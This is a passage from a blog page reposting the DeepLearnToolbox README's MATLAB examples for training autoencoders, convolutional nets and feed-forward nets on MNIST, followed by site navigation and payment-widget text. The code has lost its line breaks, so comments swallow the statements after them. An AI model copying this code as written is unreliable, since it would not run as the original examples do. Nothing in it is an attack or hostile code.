saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

上一篇: 判断程序的执行环境是VM
下一篇: 一种可以穿透还原卡和还原软件的代码
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值
⌂ 换网址